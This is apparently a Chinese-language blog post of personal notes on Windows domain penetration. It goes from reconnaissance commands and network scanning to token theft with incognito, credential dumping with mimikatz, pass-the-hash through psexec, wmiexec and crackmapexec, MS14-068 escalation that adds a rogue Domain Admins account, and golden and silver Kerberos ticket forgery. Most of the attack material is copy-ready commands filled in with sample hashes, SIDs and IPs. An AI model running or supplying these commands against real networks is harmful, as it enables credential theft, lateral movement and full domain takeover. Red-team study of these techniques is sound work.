内网渗透笔记

内网渗透思路

​ 通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。

内网基础知识

1、工作组:

工作组是局域网中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。

2、域:

用来描述一种架构,和“工作组”相对应,由工作组升级而来的高级架构,域(Domain)是一个有安全边界的计算机集合( 安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。

3、域名服务器 DNS
  • 是指用于实现域名和与之相对应的 IP 地址转换的服务器。

  • 而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。

在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。

4、域控内部

**NTDS.dit:**域用户帐户以域数据库的形式保存在活动目录中

Ntdsutil.exe-ntdsutil.exe: 是域控制器自带的域数据库管理工具,从 windowsServer 2008 开始就默认自带了。因此我们可以通过 ntdsutil.exe 提取出域中所有的域用户信息

5、活动目录
  • 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。

  • 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。

  • 环境集中管理:利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。

  • 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。

  • 更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。

  • 活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。

域信息收集

一、常用命令
query user || qwinsta 查看当前在线用户
net user 查看本机用户
net user /domain 查看域用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\\\dc 查看 dc 域内共享文件
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain
net config workstation 当前登录域 - 计算机名 - 用户名
net use \\\\域控(如 pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源
ipconfig
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机 tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx 查看域控
whoami /all 查看 Mandatory Label uac 级别和 sid 号
net sessoin 查看远程连接 session (需要管理权限)
net share 共享目录
cmdkey /l 查看保存登陆凭证
echo %logonserver% 查看登陆域
spn –l administrator spn 记录
set 环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称 windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a
二、查找域服务器
net time #查询域中的时间,会请求域控
net config workstation #查看当前工作环境
nltest /dclist:域后缀 #查询域控
三、查询域控
  • ping darkid.hack.com

  • nslookup darkid.hack.com

四、主机发现
  • arp -a 查询通信

  • nbtscan 发现主机

    • nbtscan.exe -r 192.168.0.1/24
  • bat命令发现主机

    for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl="
    
  • 通过powershell脚本扫描

    powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
    
    脚本下载地址:https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
    
    #针对单个 IP 的多个端口的扫描:
    1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.246.44",$_)) "Port $_ is open!"}
    2>$null
    
    #针对某 IP 段中单个端口的扫描:
    foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.1.$ip}
    
    #针对某 IP 段 & 多个端口的扫描器
    1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
    
  • 使用MSF进行扫描

    #使用 msf 进行反弹 shell 进行内网渗透时,通过 msf 自带的扫描模块进行快速扫描。
    
    #主机存活探测:
    auxiliary/scanner/discovery/arp_sweep    ARP 扫描
    auxiliary/scanner/discovery/udp_sweep    UDP 扫描
    auxiliary/scanner/netbios/nbname         NETBIOS 扫描
    auxiliary/scanner/snmp/snmp_enum         SNMP 扫描
    auxiliary/scanner/smb/smb_version        SMB 扫描
    
    #端口扫描:
    auxiliary/scanner/portscan/ack TCP       ACK 端口扫描
    auxiliary/scanner/portscan/ftpbounce     FTP bounce 端口扫描
    auxiliary/scanner/portscan/syn           SYN 端口扫描
    auxiliary/scanner/portscan/tcp           TCP 端口扫描
    auxiliary/scanner/portscan/xmas          TCP XMas 端口扫描
    

内网渗透中的token

概述:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

一、描述
1、攻击手段

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

2、令牌的种类
  • 访问令牌(Access Token):表示访问控制操作主体的系统对象
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符
  • 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾
3、Windows的access token的类型
  • delegation token:授权令牌,支持交互式会话登录
  • impersonation token:模拟令牌,非交互式令牌

【注】两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。

二、AccessToken 的窃取与利用
1、前提

AccessToken 的窃取与利用需要 administrator 管理员权限。

2、窃取access token的方法
  • incognito.exe 程序
  • InvokeTokenManipulat.ps1 脚本
  • MSF 里的 incognito 模块
3、incognito
  • 程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

  • 命令:

#AccessToken 的列举
incognito.exe list_tokens -u

#操作
incognito.exe execute -c "完整的 Token 名" cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
4、msf窃取token
use incognito #加载 incognito
list_tokens -u #列出 AccessToken
getuid #查看当前 token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
ps #列出进程pid
steal_token 1252 #从进程窃取 token
getsystem #提升至 system 权限
rev2self #返回到之前的 AccessToken 权限

横向渗透

一、PTH(pass the hash)

概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

1、pass the hash的原理
  • 在Windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用加密后的hash值,hash值由系统API生成
  • hash分为LM hash 和NTLM hash,如果密码大于15位则无法生成LM hash,从2008以后微软禁用LM hash
  • 攻击者获取了hash,就可以在身份认证的时候模拟该用户(跳过调用API生成hash的过程)
2、适用范围
  • 域环境/工作组环境
  • 可以获取hash,但是条件是不允许爆破hash
  • 内网中存在和当前机器相同的密码
3、关于微软补丁和禁用
  • 在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号

仍可以进行 Pass The Hash 远程 ipc 连接。

  • 如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。
  • 从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。
4、攻击
  • 使用mimikatz
privilege::debug
sekurlsa::logonpasswords

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
  • 得到hash后
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
  • 成功后 会弹出终端 cmd。此时的cmd中以及导入了hash可以进行ipc等连接
二、Psexec
1、概述

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。

2、条件

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭

3、明文连接
#命令
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmd
PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"
#参数
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显
-u 域\用户名
-p 密码
4、hash连接
#命令
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

出现错误的情况可以使用impacket工具包下的psexec连接

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
5、psexec注意事项
  • 需要远程系统开启 admin$ 共享(默认是开启的)

  • 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

  • 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

  • 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

  • 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell

  • 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

6、登陆域管理命令
  • impacket 下的 psexec

  • python3 psexec.py darkid/Administrator@192.168.0.142

  • 执行命令后输入密码

  • 登陆其他主机管理员

  • psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd

三、msf的smb连接
1、使用
use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
run
2、crackmapexec
  • CrackMapExec 可以对 C 段中的主机进行批量 pth,

  • 项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git

  • 使用命令

crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4
对 192.168.9.0/24 C 段进行批量 pass the hash
四、WMI横向
1、概述
  • WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。
  • 由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。
  • WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
2、条件
  • 使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)
3、wmi使用命令
  • 通过wmi执行ipconfig命令

    wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
    
  • 建立ipc连接,读取内容

    net use \\192.168.0.123\ipc$ "123456" /user:administrator
    type \\192.168.0.123\c$\ip.txt
    
4、wmiexec.py利用
  • 在 impacket 工具包里有 wmiexec.py 脚本,执行whoami命令
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami"

【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写

  • wmiexec.py 明文获取 shell
python3 wmiexec.py administrator:123456@192.168.0.123
5、powershell的wmi
  • Invoke-WmiCommand
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。

在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
# 指定目标系统用户名
$User = ".\administrator"
# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password
# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123
# 将执行结果输出到屏幕上
$Remote.PayloadOutput
  • Invoke-WMIMethod
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
# 指定目标系统用户名
$User=".\administrator"
# 指定目标系统密码
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.123" -Credential $Cred
6、wmic 的其他命令
  • 使用 wmic 远程开启目标的 RDP
# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1
#或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
  • 判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
  • 远程重启
wmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"

票据传递攻击(PTT)

一、域内常用的两种攻击方式:
1、黄金票据 Golden ticket
2、白银票据 Silver ticket
二、金票 Golden ticket
1、原理

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

2、特点

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash

3、伪造凭据,提升域内普通用户的权限(MS14-068)
  • 以一个本地 administrator 用户登录域内的一个主机中。
  • 通过命令:net config workstation,获取域信息
  • 通过命令:nltest /dsgetdc:域名,获取DC主机名
  • 上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
  • 利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 :systeminfo |find “3011780”,如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。

  • 上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test用户的 SID

  • 使用 MS14-068 伪造票据

#执行命令:
ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,会在当前目录下生成一个凭证。
  • 使用方法
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:
mimikatz # kerberos::purge //清空票据
mimikatz # kerberos::ptc 票据文件地址
  • 再输入 dir \08server-ad.moonhack.com\c$,发现访问成功,现在我们有域管的权限
  • 添加域管账号密码
net user moonsec123 Qwe123... /add /domain
net group "Domain Admins" moonsec123 /add /domain
4、伪造金票
  • 条件
1、域名称
2、域的 SID 值 
3、域的 KRBTGT 账号的 HASH
4、伪造任意用户名
  • 使用一下命令导出用户 krbtgt 的 hash:
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv
或 lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /all /csv" "exit">loghash.txt
  • 利用 mimikatz 生成金票生成.kirbi 文件并保存
mimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d57638dddb470a8588af80160f5f6 /ticket:ticket.kirbi" exit

/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称 //不是写入内存中的命令!
5、金票的使用
  • 登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。
mimikatz # kerberos::purge
mimikatz # kerberos::ptt C:\Users\test\ticket.kirbi
  • ipc连接访问
dir \\08server1.moonhack.com\c$
三、银票 Silver ticket
1、原理

如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。 在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。

2、特点
  • 不需要与 KDC 进行交互
  • 需要 server 的 NTLM hash
3、kekeo伪造银票
#制作
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387
// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash
#导入
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirbi
四、金票和银票的区别
1、获取的权限不同
  • 金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
  • 银票:伪造的 ST,只能访问指定的服务,如 CIFS
2、认证流程不同
  • 金票:同 KDC 交互,但不同 AS 交互

  • 银票:不同 KDC 交互,直接访问 Server

3、加密方式不同
  • 金票:由 krbtgt NTLM Hash 加密

  • 银票:由服务账号 NTLM Hash 加密

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值